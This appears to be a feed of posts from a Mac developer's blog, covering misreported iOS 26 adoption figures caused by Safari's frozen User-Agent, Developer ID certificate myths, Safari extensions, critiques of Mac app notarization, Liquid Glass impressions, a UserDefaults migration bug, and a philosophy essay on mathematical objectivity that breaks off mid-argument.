The news media blew it again: iOS 26 adoption measured only third-party browsers https://lapcatsoftware.com/articles/2026/1/3.html 2026-01-12T14:00:00Z 2026-01-12T14:00:00Z Last week I wrote a blog post criticizing news media coverage of a recent issue with Logitech mouse driver software, because the stories included misinformation about how macOS Developer ID code signing works, a subject on which I have significant expertise. The news media outlets failed to check the facts before publication. Unfortunately, it turns out that that just a day later, the news media blew it again on a different story: the adoption rate of iOS 26. It started with Cult of Mac, which linked to January data from StatCounter appearing to show that only 15% of iOS users had updated to version 26, extremely low compared to previous years, which showed over 50% adoption rates for the latest iOS version in January. The story was picked up by 9to5Mac, iPhone in Canada, Macworld, The Mac Observer, and ZDNET, among others. According to MacRumors:

In the first week of January last year, 89.3% of MacRumors visitors used a version of iOS 18. This year, during the same time period, only 25.7% of MacRumors readers are running a version of iOS 26. In the absence of official numbers from Apple, the true adoption rate remains unknown, but the data suggests a level of hesitation toward iOS 26 that has not been seen in recent years.

The MacRumors stats appeared to provide some independent support for the StatCounter data. I made the mistake of starting to believe the story based on this, without checking the facts myself. In my defense, I’m not a news media outlet, so that’s not my job, and moreover I didn’t publish an article about iOS 26 adoption, until now.

The only site that got it right, eventually, is Pixel Envy by Nick Heer, who pointed out that the Safari browser User-Agent was partially frozen on iOS 26, as discussed in a September WebKit blog post:

Also, now in Safari on iOS, iPadOS, and visionOS 26 the user agent string no longer lists the current version of the operating system. Safari 18.6 on iOS has a UA string of:

Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Mobile/15E148 Safari/604.1

And Safari 26.0 on iOS has a UA string of:

Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1

This matches the long-standing behavior on macOS, where the user agent string for Safari 26.0 is:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15

It was back in 2017 when Safari on Mac first started freezing the Mac OS string. Now the behavior on iOS, iPadOS, and visionOS does the same in order to minimize compatibility issues. The WebKit and Safari version number portions of the string will continue to change with each release.

The question is, if the OS version is always reported as 18, then where did StatCounter get 15% web visits from iOS 26 rather than 0%? Nick Heer’s initial theory was strange:

In both, you will notice iPhone OS is set to “18_6” despite only one of them actually running iOS 18.6. If StatCounter was relying on this part of the user agent string for calculating operating system version number, it could be inaccurate. There is still a Safari version number that could be a proxy for the operating system version in the latter part of the user agent string, however. On my iPhone, running iOS 26.3, the relevant section reads Version/26.3 Mobile/15E148 Safari. The iPhone OS string also reads “18_7”, which is also true for users running iOS 26.2.

It is not like StatCounter has no data for iOS 26. It shows traffic from iOS 26.1 and 26.2, indicating it likely updated its tracking metrics. It is possible some of the 18.6 and 18.7 traffic is also iOS 26 — we just do not know how much.

I pushed back on this theory, because iOS 26 was released in September, but the StatCounter data was exclusively from January, and the Cult of Mac story was published on January 8, so it makes little sense that StatCounter updated its tracking metrics sometime during the first week of January, not to mention that MacRumors reported a non-zero percentage of iOS 26 web visits too. Thus, it seemed possible that StatCounter and MacRumors were looking at the Safari version in the User-Agent in order to detect iOS 26.

I now believe that Heer’s follow-up theory is correct: both StatCounter and MacRumors were measuring only third-party web browsers on iOS 26, which explains the extremely low adoption rates, since Safari is the overwhelming market share leader on iOS. Heer noticed that StatCounter’s User-Agent detection tool continues to get the iOS version wrong with Safari but gets it right with Google Chrome. Thus, Heer’s initial theory got it backwards: StatCounter never updated its tracking metrics for the new Safari User-Agent.

Looking at the logs for this very website, lapcatsoftware.com, most of the User-Agent headers that begin with “Mozilla/5.0 (iPhone; CPU iPhone OS 26” or “Mozilla/5.0 (iPad; CPU OS 26” include “CriOS/” or “FxiOS/”, which are the iOS versions of Chrome and Firefox. Although Apple forces all web browsers on iOS to use WebKit, the User-Agent OS version is frozen only with Safari, not with other browsers, so third-party browsers still accurately report the iOS version.

I’m certain that every news media site reporting the iOS 26 adoption rate story has its own web statistics, counting visitors to the site. Did nobody bother to look? MacRumors, for one, did bother to look…at something, but I suspect that MacRumors is still using the outdated methodology that no longer works with Safari 26 and thus made the same mistake that StatCounter is making. For a story as surprising and important as this one, I would expect the media fact checkers to look at the raw data, which would likely show that their iOS 26 web visitors were all using third-party browsers such as Chrome and Firefox.

Despite the errors in counting web visitors, iOS 26 adoption may still be slower than previous years, though not nearly as slow as reported by StatCounter and the news media. As noted by Nick Heer, TelemetryDeck shows a significant difference:

Data from TelemetryDeck seems more robust, and suggests about 55% of iOS users have updated to iOS 26, compared to about 78% of users one year ago running iOS 18. Not as bad as StatCounter’s figures, but still a twenty-point gap between latest version uptake last year and this year.

And TelemetryDeck’s numbers from January 2025 were higher than Apple’s own reported numbers from January 2025, so if TelemetryDeck overreports upgraders, then it’s possible that only half or fewer than half of iOS users have updated to version 26 at this point. For what it’s worth, on this website (which is relatively low traffic and I would guess disproportionately attracts software developers and other technical users), 87% of iPhone visitors in January 2025 were reporting iPhone OS 18, whereas only 60% of iPhone visitors in January 2026 are reporting either non-Safari iPhone OS 26 or Safari Version/26 (mostly the latter), so my site may also be seeing a drop in adoption this year. (I updated my own iPhone to iOS 26 in December.)

By the way, I’m a bit puzzled by Apple’s partial freezing of the Safari User-Agent on iOS, because Safari is always inseparable from the OS, so it’s possible to derive the iOS version from the Safari version, which continues to be incremented in the User-Agent. On macOS, in contrast, the latest version of Safari typically supports the three latest major OS versions, so Safari 26 can be installed on macOS 15 Sequoia and macOS 14 Sonoma in addition to macOS 26 Tahoe, and therefore the User-Agent—which actually says “OS X 10_15_7”!—is a little more effective at obscuring the OS version.

]]>
Myths about Logitech Developer ID certificate expiration https://lapcatsoftware.com/articles/2026/1/2.html 2026-01-07T15:45:00Z 2026-01-07T15:45:00Z Outside of professional Mac developers, few people in the world appear to understand macOS code signing. Unfortunately, this ignorance extends to the news media. As reported by multiple news outlets, some Logitech mouse driver software on the Mac stopped working the other day, and Logitech was forced to release an emergency fix. The news reporting on this incident included misinformation about how macOS Developer ID code signing works.

Cult of Mac: “macOS treats an expired certificate as a hard failure. So, the app can’t authenticate or run as intended. This also explains why the problem is limited to macOS.”
MacRumors: “The Developer ID certificate is the digital signature macOS uses to verify legitimate software. When Logitech allowed its certificate to lapse, the company's apps lost verified authenticity. As such, macOS refused to run them”
The Verge: “The issues only impacted Mac users because macOS prevents certain applications from running if it doesn’t detect a valid Developer ID certificate”

These stories place the blame on macOS for refusing to run apps with expired Developer ID code signing certificates, but this is false! Apple documents the behavior on its certificates support page:

If your certificate expires, users can still download, install, and run versions of your Mac applications that were signed with this certificate. However, you’ll need a new certificate to sign updates and new applications.

In other words, the valid dates of a code signing certificate apply specifically to signing executable code, not to executing the code. If the certificate was valid at the time that the app was signed by the developer, then the app will continue to run forever, unless Apple revokes the certificate. Most cases of Developer ID certificate revocation are due to malware. The Apple developer documentation reiterates this point:

Gatekeeper will evaluate the validity of your Developer ID certificate when your application is installed. As long as your Developer ID certificate was valid when you compiled your app, then users can download and run your app, even after the expiration date of the certificate. However, you'll need a new certificate to sign updates and new applications.

The documentation does mention how an expired provisioning profile can prevent a Mac app from running:

If your Mac application utilizes a Developer ID provisioning profile to take advantage of advanced capabilities such as CloudKit and push notifications, you must ensure your Developer ID provisioning profile is valid in order for installed versions of your application to run.
Gatekeeper will evaluate the validity of your Developer ID certificate when your application is installed and will evaluate the validity of your Developer ID provisioning profile at every app launch. As long as your Developer ID certificate was valid when you compiled your app, then users can download and run your app, even after the expiration date of the certificate. However, if your Developer ID provisioning profile expires, the app will no longer launch.

Nine years ago, there was a runtime issue with expiring Developer ID code signing certificates:

Developer ID certificates are valid for 5 years from the date of creation and Developer ID provisioning profiles generated prior to February 22, 2017, are valid until your Developer ID certificate expires.

Nonetheless, this issue was long since solved and would not affect a Developer ID certificate that’s now expiring in 2026:

To simplify the management of your Developer ID apps and to ensure an uninterrupted experience for your users, Developer ID provisioning profiles generated after February 22, 2017, are valid for 18 years from the creation date, regardless of the expiration date of your Developer ID certificate.

In other words, there’s nothing to worry about until the year 2035 at the earliest, though admittedly it’s a bit troubling that these apps have a ticking time bomb, so to speak. On the other hand, Developer ID provisioning profiles are optional, used only for a few features such as iCloud support, so many or even most Developer ID signed Mac apps have no provisioning profile, and thus no expiration.

So what happened with the Logitech mouse software? The blame here lies entirely with Logitech and not with macOS or Developer ID. The Logitech software performed some additional, custom validation, which failed after the Logitech Developer ID code signing certificate expired. That was an unforced error by Logitech, and the issue will not affect other Mac developers, regardless of when their Developer ID certificates expire. My own valid Developer ID certificate expires in 2027, and that will not stop my old apps from running. Indeed, I had a previous Developer ID certificate that expired in 2021, and its expiration didn’t stop any of my old apps from running either. That’s not how macOS works. That’s not how code signing works.

Don’t even get me started on Mac app notarization, which hardly anyone understands. What people fail to realize is that notarization is simply an extension of the preexisting Developer ID program (created in 2012), one additional requirement rather than something entirely new.

]]>
My hope for Safari extensions in 2026 https://lapcatsoftware.com/articles/2026/1/1.html 2026-01-05T17:00:00Z 2026-01-05T17:08:00Z While I’m waiting (too long) for Apple to review my App Store app update, I decided to write a blog post.

In 2021, Apple introduced support for extensions in mobile Safari. This bold, unexpected, spectacular move reshaped the web browser extension landscape and, from a personal perspective, changed my life as a Safari extension developer. It was a quintessential Apple “surprise and delight” moment. Since then, however, Apple has behaved too conservatively with regard to Safari extensions, largely conceding its momentary leadership role to Google in guiding the direction and future of web browser extensions. This is unfortunate, because Google is a poor steward. More than four years later, Google has neglected to add support for extensions in mobile Chrome, not only on iOS, where Apple’s WebKit engine requirement may pose technical difficulties for extensions in non-Safari browsers, but also on Google’s own mobile operating system Android. There’s no excuse when Google controls the entire technical stack. Firefox, I should note, does not support browser extensions on iOS either, but Firefox does support extensions on Android, which proves that Google and Chrome simply don’t want extensions on mobile. Worse, Google has intentionally debilitated and decimated its desktop browser extension ecosystem—as well as the extension ecosystems in all browsers based on Chromium, such as Microsoft Edge—via the removal of support for Chrome extension manifest version 2, replacing it with the vastly inferior manifest version 3. This is a classic “embrace, extend, and extinguish” strategy, pioneered by Microsoft. So far, neither Safari nor Firefox has followed Chrome in removing support for MV2, at least not yet, but both of those browsers have spent—wasted, in my view—a lot of engineering resources adding support for MV3. I wish they had just said no, and let Chrome self-destruct. The cross-browser WebExtensions Community Group operates by consensus, as one would expect in such a group, but the discussion and consensus appears to be based on Chrome manifest version 3. The browsers with better extension API are allowing the browser with the worst extension API to set the agenda for all extension API, despite the fact that Chrome extensions are irrelevant on mobile, which has a much larger user base than desktop.

In my opinion, the greatest advantage of Safari extensions is their built-in native platform integration. Every Safari extension, on both iOS and macOS, can use extension native messaging with no additional software installation or configuration by the extension user, because Safari extensions are designed to be distributed inside native apps. Chrome and Firefox cannot match this experience. They require every extension user to install a special native messaging configuration file in a specific, obscure, hidden location in the file system. And they require every extension developer to reimplement the entire native messaging protocol in their extension and native app, whereas Safari provides the native messaging API ready-made to all developers in a system framework.

I would like to see Safari double down on its native platform advantage. For example, Safari extensions on iOS currently support only HTML/CSS/JS popup windows, which of course allows cross-browser and cross-platform compatibility. And on desktop, this compatibility is important. On the other hand, it’s less important on mobile, for a few reasons. First, Chrome and Chromium browsers do not have extensions on mobile, so there’s nothing to be compatible with in that respect, and Firefox has extensions only on Android. Moreover, even if a developer is porting an extension from desktop to mobile, a popup window designed for desktop would be a poor fit—literally!—on mobile. You probably don’t want to use the same HTML and CSS in a mobile extension popup window that you use in a desktop extension popup window. The user interface needs to be designed specifically for mobile screens.

A few years ago I wrote about the four types of Safari extension, one of which was discontinued in 2019 and one of which is supported at present only by macOS Safari. The latter type, Safari app extensions, have a native macOS/AppKit user interface for their extension popup windows and contextual menu items. My own extension StopTheMadness, first released in 2018, is a Safari app extension on macOS because Safari web extensions, another one of the four types, were not introduced until 2020. A couple of years ago I wrote about how Safari can improve extensions, and one of my suggestions was to combine the app extension and web extension API.

One massive advantage of the Safari app extension API is that it allows the extension to display a native AppKit user interface in the Safari extension popup, while Safari web extensions must rely exclusively on HTML and CSS. I would love to be able to display a native UIKit user interface in Safari extension popups on iOS, because HTML is so clunky, limited, and ugly in comparison.

I continue to believe that building on native platform features would be advantageous to Safari extensions. I’m not suggesting that Safari remove cross-browser and cross-platform support but just that Safari add native UI features as an option to extension developers. After all, no extension developer is required to use native messaging in Safari. This powerful feature is available as a built-in option for those extension developers who can make productive use of it. My own extension depends on native messaging to support iCloud sync of extension settings (which Apple itself has thus far failed to provide).

The Safari app extension contextual menu item API is quite nice and very flexible. In contrast, the Chrome extension contextual menu item API is awful and extremely inflexible. The Firefox contextual menu item API is slightly better than Chrome with the addition of onShown and getTargetElement but still inferior to Safari app extensions. This is another case where the native platform integration is a big advantage, and I think it’s a shame that Safari web extensions limit themselves to emulating the lowest common denominator, Google Chrome.

I have no insider information, but what I’ve seen coming out of Apple in Safari updates over the past few years has been mostly enhanced Chrome MV3 support for Safari extensions. Most of the suggestions in my aforementioned blog post have not been implemented. One small improvement that finally shipped in iOS 26.2 was a native API to open Safari Extensions Settings and to detect whether your extension is enabled in Safari Extensions Settings. This API already existed practically forever on macOS. As far as I’ve seen, though, major innovation in Safari extensions has been lacking since the great leap in 2021. Apple did introduce extension support (Safari web extension support, anyway) for Safari web apps in 2024 on macOS but not yet on iOS. Still, the prospect of WWDC—in June, only five months away!—always brings renewed hope for innovation and improvements. Although many, perhaps most WWDCs have been disappointing to me, there are exceptions, such as WWDC 2021. I’m crossing my fingers for another exceptional year.

P.S. Longtime followers know that I’m no Pollyanna. I hope for the best but prepare for the worst. In contrast to the best case scenario, a host of Safari extension enhancements, the worst case scenario is that Apple simply deprecates Safari app extensions with effectively no equivalent replacement. That would be a disaster, both for Safari users and especially for me as a developer. I pray to the gods that Apple does not choose this road, the highway to hell. Needless to say, though, these are the same people who thought that Liquid Glass was a great idea.

]]>
Mac app notarization: The ghost of Xcode past? https://lapcatsoftware.com/articles/2025/12/6.html 2025-12-25T18:00:00Z 2025-12-25T18:00:00Z This is a follow-up to my recent blog post I foretold that Mac app notarization is security theater. Except for longtime Mac app developers, who have to deal directly with code signing, most people misunderstand notarization, because they don’t realize that notarization, added in 2018, was simply an extension to the preexisting Developer ID program, started in 2012. According to the Apple developer documentation:

A Developer ID certificate lets Gatekeeper verify that you’re a trusted developer when people download and open your app, plug-in, or installer package from outside the Mac App Store.

Give people even more confidence in your software by submitting it to Apple to be notarized. This service automatically scans your Developer ID-signed software and performs security checks. When it’s ready to export for distribution, your software is assigned a ticket to let Gatekeeper know it’s been notarized.

See also:

Beginning in macOS 10.14.5, software signed with a new Developer ID certificate and all new or updated kernel extensions must be notarized to run. Beginning in macOS 10.15, all software built after June 1, 2019, and distributed with Developer ID must be notarized.

In other words, a Mac app is first signed with a Developer ID certificate, and then the signed app is uploaded to Apple for notarization. Even before notarization, Apple always had the ability to revoke Developer ID certificates via OCSP (a service that infamously went down in 2020, causing worldwide havoc to Mac users).

The other day I saw a comment by a former Apple employee suggesting that the introduction of notarization was motivated primarily by XcodeGhost, a supply chain attack. Discovered in 2015, XcodeGhost was malware surreptitiously inserted into otherwise legitimate apps by a compromised version of the Apple Xcode developer tools. The compromised version of Xcode was hosted on a non-Apple server outside the United States, attracting developers in places where direct downloads from Apple of the extremely large Xcode archive could be painfully slow. XcodeGhost ended up infecting many consumer apps, both Mac and iOS, distributed both outside and inside the App Store. (So much for Apple app review, eh?)

I’ve argued that Mac app notarization is security theater. Specifically, I suggested that malware authors could notarize an innocent-looking app containing no malware and then instruct the app to download malware after victims have already installed and launched the app, a trivial bypass to Apple malware scanning. As mentioned in my penultimate blog post, this technique has now been observed in the wild.

My assumption all along was that notarization is intended to stop malware authors from distributing their own maliciously crafted apps, and in this respect I still think notarization is security theater. However, perhaps my assumption was wrong. What if the purpose of notarization is more narrowly focused, to prevent supply chain attacks like XcodeGhost? The requirement of uploading the built app to Apple for a malware scan is not very good at stopping a determined attacker with full control over app creation, submission, and distribution who is intentionally trying to sneak malware past Apple. On the other hand, the notarization requirement can stop an unwitting developer who is unintentionally distributing known malware in their app only as a carrier, a dupe, already a victim themselves.

The timeline of notarization seems a bit off, three years between 2015 and 2018 for Apple to engineer a mitigation for the massive, damaging XcodeGhost supply chain attack. I don’t see a sense of urgency there; it would be practically lackadaisical. Nonetheless, the motivation and implementation would make sense in light of XcodeGhost.

Is this blog post a mea culpa by me? Maybe! I now acknowledge there may be some security benefit to notarization. Whether the benefit outweighs the many downsides is another question, though. In any case, it would have been nice if Apple had made some kind of public, official statement like, "Hey, we’re introducing notarization because of XcodeGhost,” and then the whole thing would have made sense to everyone from the beginning. Instead, Apple chose its habitual path of greatest resistance, security by obscurity. Lords do not explain themselves to mere peasants; ours is simply to obey.

Some silly commenters on the internet have suggested that my criticisms cannot be taken seriously unless I present statistics, presumably statistics about how much malware is stopped and not stopped by notarization. I wonder from where in the world I or anyone else is supposed to obtain these statistics? Assuredly Apple itself collects some internal data, but Apple does not publish its internal data. My feeling is that these commenters are making Apple immune from all criticism: we cannot criticize Apple unless we present the very data that Apple purposely keeps secret. How convenient for Apple. Instead of demanding that I publish statistics about notarization and malware, you should demand that Apple publish these statistics, to back up their unsupported claims about protecting users from danger.

The same goes for App Store scams, by the way. Defenders of Apple OS lockdown admit that App Store review is not perfect (a straw man) while still claiming, with no empirical data whatsoever, that Apple review mostly catches App Store scams and other malware, letting only a small percentage through. But I don’t believe that for a second, nor should you, at least not based on faith and deference.

]]>
I foretold that Mac app notarization is security theater https://lapcatsoftware.com/articles/2025/12/5.html 2025-12-22T14:35:00Z 2025-12-22T14:35:00Z This morning 9to5Mac reported, MacSync Stealer variant finds a way to bypass Apple malware protections, based on an investigation by Jamf.

Attackers use a Swift app which has been signed and notarized and does not in itself contain any malware. However, the app then retrieves an encoded script from a remote server, which is then executed to install the malware.

I hate to say I told you so but…who am I kidding, I love to say I told you so. In 2019 I wrote a prescient blog post, The true and false security benefits of Mac app notarization, in which I foretold such an attack, suggesting that notarization is security theater.

Apple's notarization service scans for malware, but malware authors don't need to submit malware to Apple! They can submit a perfectly innocent app for notarization, get the app notarized, and then flip a switch on their own server to download a malware software update when the victim opens the "innocent" notarized app. The downloaded malware update doesn't need to be notarized, because the software updater will delete the quarantine attribute, thus bypassing Gatekeeper. It's impossible for Apple to detect this beforehand, because the malware update won't be made available for download until after Apple notarizes the original app.

As I argued in a follow-up post, there are no actual security benefits to Mac app notarization. Many of the Mac malware “protections” that Apple has added over the years are merely punishments for Mac users and honest Mac developers, making their computing life more miserable while leaving gaping holes for malware to sneak through. (See my own Apple Security Credits, as a Mac developer, not a professional security researcher, and those are just issues that Apple fixed, not all of the issues I discovered.) Earlier this month 9to5Mac also reported, Apple security bounties slashed as Mac malware grows, a tacit admission by Apple of this hopeless situation.

]]>
Belated Liquid Glass on iPhone first impressions https://lapcatsoftware.com/articles/2025/12/4.html 2025-12-20T18:00:00Z 2025-12-20T18:00:00Z This morning I reluctantly updated my iPhone SE (3rd generation) from iOS 18.7.2 to iOS 26.2. I had been hoping for Santa Cook to bring me iOS 18.7.3 for Christmas. Apparently, though, we’ve all been naughty. Or maybe Cook himself is not nice. I was aware that it was (previously) possible to install iOS 18.7.3 by enabling beta software updates, but nowadays that requires enabling iCloud, which I refuse to do on my iPhone. According to MacRumors and my followers on social media, Apple has within the past 24 hours stopped providing 18.7.3 on the beta track. Moreover, Apple is providing restore image to developers for only a few iPhone models: XR, XS, and XS Max. Thus, it appears that iOS 18 is effectively discontinued on most devices, and iOS 18.7.2 suffers from actively exploited security vulnerabilities. Although Alan Dye has left Apple, the company is nonetheless forcing Dye’s design on customers.

This isn’t my first impression of Liquid Glass, or as I called it, Liquid Crass, a nickname that failed to catch on with the public, overshadowed by one a bit shorter and ironically crasser. Since WWDC, I had been running the new OS versions on test devices, a Mac mini and an iPad. What struck me on iPhone was something I hadn’t noticed as much on Mac and iPad: the animations. Here’s an annoying example in Safari when pressing the, uh, … button, for lack of a name.

To get rid of that animation, you need to enable both Reduce Motion and Prefer Cross-Fade Transitions in Motion Accessibility Settings.

Motion Accessibility Settings

Now it’s a bit better, though still far from perfect.

In general, I dislike Reduce Motion on iPhone, especially when switching between apps, but in this case I think the tradeoff is worth it, because I hate the new iOS 26 animations.

Notice the weird circular detritus after I close the popup. There are quite a few visual glitches remaining, three months after the public release of the new operating system. If iOS 26.0 was half-baked, iOS 26.2 is at most two-thirds-baked.

Needless to say, I enabled Reduce Transparency in Display & Text Size Accessibility Settings as soon as I updated to iOS 26. I had already enabled Show Borders and On/Off Labels in iOS 18 or earlier.

Display & Text Size Accessibility Settings

I also enabled the Tinted Liquid Glass option in Display & Brightness Settings. Oddly, you cannot toggle this setting while Reduce Transparency is enabled, for no apparent reason. Could we have these two Apple engineering teams talk to each other? Or if there’s just one Apple engineering team involved, could we have their left hands talk to their right hands?

Another annoying animation I noticed in Safari is the extreme slowness of opening the Safari extension popup window after tapping the extension icon in the menu. You can see in the video below that the menu itself opens relatively quickly when I tap the Manage Extensions widget, but there’s an inexplicable delay between the time that the menu disappears and the extension popup appears. This delay did not occur on iOS 18 and earlier.

I’ve filed a bug report about this (FB21387909) in Apple’s Feedback Assistant.

By the way, don’t get me started on the Liquid Crass replacement of close buttons with checkboxes. (On iOS 18, the checkbox in the video was a Done button.) This change is insane! And I’ve already had a customer confused by the checkbox, thinking that they had to “approve” something in the window. Even I get confused by the checkbox sometimes, not here specifically, but in some other apps. Apple, formerly the best at design, somehow became the worst. “Design is how it works,” they parrot, and this doesn’t work.

]]>
UserDefaults footgun https://lapcatsoftware.com/articles/2025/12/3.html 2025-12-16T14:55:00Z 2025-12-16T14:55:00Z The other day I released Link Unshortener version 19.8, which migrated its UserDefaults from its app container to a group container, in preparation for future changes. Unfortunately, my migration code had a bug that I missed in testing. It’s a minor bug that doesn’t actually affect users at present, and perhaps it never will affect users, but theoretically the bug could make it more complicated for me if I need to alter the behavior of the app’s UserDefaults.

In this blog post I’ll talk about NSUserDefaults, because I still write Objective-C, believe it or not. Other than language syntax, there’s no relevant difference with the Swift API UserDefaults. The bug involves the method [NSUserDefaults registerDefaults:]. Below is the full discussion from its documentation.

Call this method shortly after launch to specify the default values for your app’s settings. This method assigns the key-value pairs you provide to the registration domain, which is typically the last domain in the search list. The registration domain is volatile, so you must register the set of default values each time your app launches.

To access defaults in the app container (~/Library/Containers/), you use the method [NSUserDefaults standardUserDefaults], whereas to access defaults in a group container (~/Library/Group Containers/), you use the method [NSUserDefaults initWithSuiteName:]. Below is the first paragraph of the discussion from its documentation.

Use this method to create a defaults object that reads settings from the custom domain you specify. For example, you might use this method to access settings you share among multiple apps or between your app and an app extension. The returned object writes settings to the domain you specified. Every instance of ``UserDefaults shares the contents of the argument and registration domains.

Incidentally, I think that the strange use of ``UserDefaults above reveals that the documentation was originally written in Markdown. Enclosing a string in backticks formats the string as code in Markdown. Thus, my theory is that there’s a typo in the documentation: the intention was to use `UserDefaults`, which would display as UserDefaults.

The previous parenthetical paragraph was delaying the climax: “Every instance of UserDefaults shares the contents of the argument and registration domains.” In other words, the result of calling registerDefaults on the object returned by [NSUserDefaults initWithSuiteName:] is the same as calling registerDefaults on the object returned by [NSUserDefaults standardUserDefaults]! Yet the documentation for registerDefaults does not mention this fact.

How did this become a Link Unshortener bug? In the NSApplicationDelegate method applicationWillFinishLaunching, I call [NSUserDefaults initWithSuiteName:] and registerDefaults to register the default values of Link Unshortener settings. Then I check whether the app container settings need to be migrated. If migration is necessary, then I call [NSUserDefaults setObject: forKey:] on the group defaults, using [NSUserDefaults objectForKey:] from the app defaults. If the default key has never been set in the app defaults, then [NSUserDefaults objectForKey:] should return nil. Or so I thought! But at that point registerDefaults has already been called on the group defaults object, and the app defaults object shares the registration domain with the group defaults object, so [NSUserDefaults objectForKey:] returns a non-nil value, which gets saved in the group defaults.

Again, this bug is not an immediate problem for the user. If a setting was never saved in the app defaults, then the value specified by registerDefaults is still used, just like it was in the previous version of Link Unshortener. The only problem is if it ever wanted to change the values specified by registerDefaults, for example, by changing the default value of a boolean setting from true to false. New users of Link Unshortener would get the new default value, but longtime users of Link Unshortener whose settings were migrated would still use the old default value, because the old default value is saved in the group container when the settings are migrated.

I may or may not release a Link Unshortener update to redo the migration correctly. We’ll see. In any case, now you know to be careful about the UserDefaults registration domain.

]]>
A critique of mathematical objectivity https://lapcatsoftware.com/articles/2025/12/2.html 2025-12-11T15:50:00Z 2025-12-11T15:50:00Z This is a follow-up to my posts Academic philosophy: my quixotic quest and A critique of philosophical objectivity. The latter post argued against the notion of “objective truth,” that is, truth independent of humans in some crucial sense. I think it’s anthropomorphic to suggest that the nonhuman world makes our human-created, human-centric representations of the world true or false, independently of us.

In addition to logic, which I discussed and criticized a bit in my first post, mathematics is considered by many philosophers to be a paragon of objective truth. Surely the fact that 1 + 1 = 2 does not depend on humans, right? On the other hand, everyone would admit that 1, +, =, and 2 are all human symbols. Indeed there are many such human symbols. Corresponding to the Arabic numerals 1, 2, 3, 4, 5 are the Roman numerals I, II, III, IV, V; in English one, two, three, four, five; in Spanish uno, dos, tres, quatro, cinco. We standardly use a base-10 number system with numerals 0 through 9, but that’s arbitrary, and there are alternative bases, used especially in computer programing, for example base-16, or hexadecimal, in which the letters A through F come after 0 through 9, so that the base-10 numbers 15 and 16 are represented by F and 10 in base-16. There’s also base-2, or binary, where the only numerals are 0 and 1. By the way, in base-16 it’s still true that 1 + 1 = 2, but 5 + 5 = A. And in base-2, 1 + 1 = 10.

The foundation of math, I would say, is counting and measurement in the physical world, space and time. Without such practical application, “pure” mathematics would be nothing more than a game, an intellectual amusement. Conversely, without mathematics, our descriptions of the world would be deeply impoverished and unproductive. Math is so useful that it allows us in many cases to predict the future and extrapolate the past with great accuracy. In this sense, math conjoins the arbitrary and the non-arbitrary: we humans created our mathematical symbolism, but for the most part we did not create the regularities in nature that bring math to life and make it shine.

Math is, from my perspective, an activity of humans and possibly other conscious, living beings. We say that the “natural” numbers are 0, 1, 2, 3… (though some historical definitions did not include zero), and of course it’s natural for us to count. What bothers me about philosophical interpretations of math, the alleged objective truth of math, is that objective truths are supposed to be essentially independent of humans. Thus, on this conception, the existence of the natural numbers would not depend on the existence of counting or humans or living beings. The natural numbers are said to be an ordered series or set, but the “order” in question is in neither space nor time; rather, the claim is that objective mathematical truths are nonphysical, timeless, not connected with any particular points in space and time.

To me, this is nonsense. It’s anthropomorphism, projecting our human activities such as counting onto the nonhuman universe. Consider one of the simplest mathematical concepts: addition. Philosophers claim that 1 + 1 = 2 is an objective truth, and moreover an abstract, nonphysical truth. But what in the world is spaceless, timeless addition? I have one dollar bill, then someone gives me another dollar bill, so I have two dollars. $1 + $1 = $2. That makes sense. I go to the grocery store, put one apple in my cart, then another apple. 1 apple + 1 apple = 2 apples. At the checkout, I pay my $2 for the 2 apples (inflation, you know), leaving me broke again, because $2 - $2 = $0. These exchanges, these actions, these mathematical operations, addition and subtraction, occur in the physical world, essentially involving space and time. I think it’s fair to say that 1 + 1 = 2 is an abstraction: for all things, 1 thing + 1 thing = 2 things. Yet this abstraction doesn’t make 1 itself a thing, nor 2 itself, existing apart from all other things. Nor does it imply the existence of (0,1,2,3…), the natural numbers, independent of humans and the physical universe.

I said earlier that math conjoins the arbitrary and the non-arbitrary, and I think the notion of objective mathematical truth ignores the arbitrary part of math. For comparison, consider the arbitrariness of spelling. The word “apple” is spelled a-p-p-l-e, but that truth is not independent of humans; we simply decided to spell the word that way. We also decided to use base-10 and count 1, 2, 3, etc. Given our basic mathematical symbolism, mathematicians can prove many interesting, surprising facts about numbers, for instance about prime numbers. Nonetheless, I find it bizarre to call 1 + 1 = 2 an objective truth, independent of us. On the contrary, I would say that it depends entirely on us. That’s just how counting works. Consider any randomly chosen number XN, where X is a finite series of decimal digits of nonzero length, and N is also a decimal digit. What is XN + 1? We know that if N < 9, then XN + 1 = X(N+1). In other words, if N is 3, then X3 + 1 = X4. Whereas if N = 9, then X9 + 1 = (X+1)0. And this is neither a “discovery” that we somehow have to prove, nor is it an “objective” truth. Rather, it’s simply how counting works. If someone claimed that X3 + 1 = X5, we’d call them daft, perhaps insane. Such a person would have failed to learn how to count, just as a person who wrote “appel” would have failed to learn how to spell the word. This is illustrated hilariously by the film “Monty Python and the Holy Grail” in the Holy Hand Grenade scene. After consulting the unambiguous, tedious instructions from Book of Armaments, the inattentive King Arthur, directed toward the number three, pulls the pin of the grenade and counts, “one, two, five!”

Let us (as if you had a choice) follow another analogy: tennis. There are both arbitrary and non-arbitrary aspects to tennis. The rules of tennis are arbitrary, invented by humans. The scoring in tennis involves a different, bizarre counting scheme, unlike any other. A tennis match is comprised of points, games, and sets. That’s why they say, “game, set, match” when someone wins the final point. In order to win a game, a player must win at least 4 points in that game and also outscore their opponent by at least 2 points. But they don’t count points as 0, 1, 2, 3, 4. Instead, they say “love” for zero. Don’t you love that? Every game starts at love, love. So much love to go around! If a player at love wins a point, their score is now—I kid you not—15. The tennis numbers, which we can hardly call “natural,” are love, 15, 30, 40. Although if both players have 3 points, they don’t say the score is 40-40 but rather “deuce.” Again, I’m 100% serious, not joking! If the server wins the point after deuce, the score is now “ad-in,” while if the returner wins the point, the score is “ad-out,” where “ad” is short for “advantage.” If a player loses the advantage by losing the next point, the score returns to deuce.

